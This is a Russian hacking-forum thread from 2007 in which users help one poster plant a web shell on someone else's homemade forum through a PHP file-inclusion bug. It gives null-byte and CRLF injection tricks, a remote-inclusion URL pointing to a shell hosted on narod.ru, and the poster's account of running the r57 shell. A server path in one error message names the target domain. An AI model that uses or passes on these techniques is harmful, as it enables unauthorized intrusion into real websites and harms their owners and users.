Простой баг

Discussion in 'Песочница' started by George767, 13 Jul 2007.

  1. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Есть бажный похоже самодельный форум, пропускает и парсит хтмл в ссылках вида index.php?id=
    Есть идеи как туда можно шел залить?

    PS Подставляет .html после введеного, так что на внешнюю завести нельзя

    Спасибо
     
  2. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    %00 не помогает? Или же %0d%0a?
     
  3. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Помогает - ставит пробел, но что с этим можно сделать?
    Вот что выдает
    Warning: main( .htm): failed to open stream: No such file or directory in /hsphere/local/home/asvideor/XXX/index.php on line 241 Warning: main( .htm): failed to open stream: No such file or directory in /hsphere/local/home/asvideor/XXX/index.php on line 241 Warning: main(): Failed opening ' .htm' for inclusion (include_path='.:/hsphere/shared/apache/libexec/php4ext/php/') in /hsphere/local/home/asvideor/va-utair.ru/index.php on line 241
     
  4. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Почему нельзя? Залей на народ shell.html и подставляй тогда
    Code:
    index.php?id=[b]http://www.site.narod.ru/shell[/b]
    
     
    1 person likes this.
  5. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Получилось открыть внешний файл через такую конструкцию:

    index.php?id=внешняя_ссылка/%0d%0a

    Но файл-же не заливается на их фтп, я вижу через r57 содержимое моего сервака...
     
    #5 George767, 13 Jul 2007
    Last edited: 13 Jul 2007
  6. n-000

    n-000 Elder - Старейшина

    Joined:
    25 Oct 2006
    Messages:
    90
    Likes Received:
    36
    Reputations:
    5
    а как насчёт ссылочки на форум ?
    Если не хочеш выкладывать ссылу в паблик пришли в приват, как у мя будет время покапаюсь...
     
    #6 n-000, 13 Jul 2007
    Last edited: 13 Jul 2007
  7. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,055
    Likes Received:
    1,532
    Reputations:
    1,128
    шелл должен быть залит там, где нет поддержки php, например на народ.ру
     
  8. n-000

    n-000 Elder - Старейшина

    Joined:
    25 Oct 2006
    Messages:
    90
    Likes Received:
    36
    Reputations:
    5
    Да не фсегда, можно и в *.txt формате шелл на сервере хранить, но это только если этот txt будет запускаца инклудом